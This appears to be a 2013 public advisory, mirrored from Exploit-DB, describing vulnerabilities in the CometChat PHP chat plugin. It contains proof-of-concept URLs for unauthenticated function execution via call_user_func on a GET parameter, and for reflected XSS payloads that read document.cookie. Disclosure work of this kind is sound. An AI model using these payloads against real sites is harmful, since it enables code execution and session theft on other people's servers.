Cometchat Application - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Cometchat Application Multiple Vulnerabilities - Code execution, XS

                                                #####################################
&#62;                                  &#60;
&#62; #### #### ### ####           ### &#60;
&#62;    # #    # # #  #           ### &#60;
&#62;   #  #### ### #  #           ### &#60;
&#62;  #   #    ##  #  #           ### &#60;
&#62; #### #### # # ####           ### &#60;
                               ###  
&#62; #### #### #    #### # #####  ### &#60;
&#62; #    #  # #    #  # #   #    ### &#60;
&#62; #### #### #    #  # #   #        &#60;
&#62;    # #    #    #  # #   #    ### &#60;
&#62; #### #    #### #### #   #    ### &#60;
&#62;				        	   &#60;
#####################################

# Exploit-DB Note 20-02-2013:
# A security patch appears to have been released to address the issue:
# http://www.cometchat.com/blog/cometchat-critical-security-update/

Info:
All Cometchat Application Multiple Vulnerabilities
Cometchat is a application which can be used in many site for example phpFox, Wordpress, Joomla, MyBB, Elgg etc.
Homepage : http://www.cometchat.com

Author: z3r0sPlOiT
Date: 17.02.2013

Special Thanks: I would like to thank B127Y. He already found two vulnerabilities for Cometchat and because of this I started my research.


1.)Code Execution P0C (plugins/otavchat/invite.php)
194: call_user_func call_user_func($_GET[&#39;action&#39;]); 
Can use all php functions and cometchat function without arguments

Live Demo: http://server/cometchat/plugins/otavchat/invite.php?action=phpinfo

2.)XSS P0C (plugins/otavchat/invite.php)
137: echo echo &#60;&#60;&#60;EOD  &#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62;  &#60;html&#62;  &#60;head&#62;  &#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=UTF-8&#34;/&#62;   &#60;title&#62;{$otavchat_language[18]}&#60;/title&#62;   &#60;link type=&#34;text/css&#34; rel=&#34;stylesheet&#34; media=&#34;all&#34; href=&#34;themes/{$theme}/otavchat{$rtl}.css&#34; /&#62;   &#60;/head&#62;  &#60;body&#62;  &#60;form method=&#34;post&#34; action=&#34;invite.php?action=inviteusers&#34;&#62;  &#60;div class=&#34;container2&#34;&#62;  &#60;div style=&#34;background-color:#3E92BD;border-bottom:1px solid #11648F;&#34;&#62;   &#60;div class=&#34;invitetitle&#34;&#62;{$otavchat_language[16]}&#60;/div&#62;&#60;div style=&#34;float:right&#34;&#62;&#60;input type=submit value=&#34;{$otavchat_language[17]}&#34; class=&#34;invitebutton&#34;&#62;&#60;/div&#62;   &#60;div style=&#34;clear:both&#34;&#62;&#60;/div&#62;  &#60;/div&#62;    &#60;div style=&#34;height:162px;overflow-x:hidden;overflow-y:scroll;clear:both;padding-left:5px;padding-top:5px;padding-bottom:5px;&#34;&#62;{$s[&#39;available&#39;]}{$s[&#39;away&#39;]}{$s[&#39;offline&#39;]}&#60;/div&#62;  &#60;/div&#62;    &#60;input type=&#34;hidden&#34; name=&#34;roomid&#34; value=&#34;$id&#34;&#62;  &#60;/form&#62;  &#60;/body&#62;  &#60;/html&#62;  EOD; 
87: $id = $_GET[&#39;roomid&#39;];

Live Demo: http://server/cometchat/plugins/otavchat/invite.php?roomid=&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;


3. XXS P0C (plugins/filetransfer/index.php)
87: echo echo &#60;&#60;&#60;EOD  &#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62;  &#60;html&#62;  &#60;head&#62;  &#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=UTF-8&#34;/&#62;  &#60;title&#62;{$filetransfer_language[0]}&#60;/title&#62;   &#60;link type=&#34;text/css&#34; rel=&#34;stylesheet&#34; media=&#34;all&#34; href=&#34;themes/{$theme}/filetransfer{$rtl}.css&#34; /&#62;   &#60;script type=&#34;text/javascript&#34; src=&#34;styleinput.js&#34;&#62;&#60;/script&#62;  &#60;/head&#62;    &#60;body&#62;&#60;form name=&#34;upload&#34; action=&#34;upload.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&#62;  &#60;div class=&#34;container&#34;&#62;  &#60;div class=&#34;container_title&#34;&#62;{$filetransfer_language[1]}&#60;/div&#62;    &#60;div class=&#34;container_body&#34;&#62;    &#60;div class=&#34;container_body_1&#34;&#62;{$filetransfer_language[2]}&#60;/div&#62;  &#60;div id=&#34;select-0&#34; class=&#34;container_body_2&#34;&#62;&#60;label class=&#34;cabinet&#34;&#62;&#60;input type=&#34;file&#34; class=&#34;file&#34; name=&#34;Filedata&#34; onchange=&#34;javascript:document.upload.submit()&#34;/&#62;&#60;/label&#62;&#60;/div&#62;    &#60;div class=&#34;container_body_3&#34;&#62;{$filetransfer_language[4]}&#60;/div&#62;  &#60;div style=&#34;clear:both&#34;&#62;&#60;/div&#62;      &#60;div class=&#34;container_body_4&#34;&#62;{$filetransfer_language[3]}&#60;/div&#62;    &#60;input type=&#34;hidden&#34; name=&#34;to&#34; value=&#34;{$toId}&#34;&#62;  &#60;input type=&#34;hidden&#34; name=&#34;chatroommode&#34; value=&#34;{$chatroommode}&#34;&#62;    &#60;/div&#62;  &#60;/div&#62;  &#60;/div&#62;    &#60;script&#62;  SI.Files.stylizeAll();  &#60;/script&#62;  &#60;/form&#62;  &#60;/body&#62;  &#60;/html&#62;  EOD; 
79: $toId = $_GET[&#39;id&#39;]; 

Live Demo: http://server/cometchat/plugins/filetransfer/index.php?id=&#34;&#62;&#60;script&#62;alert(document.cookie)&#60;/script&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1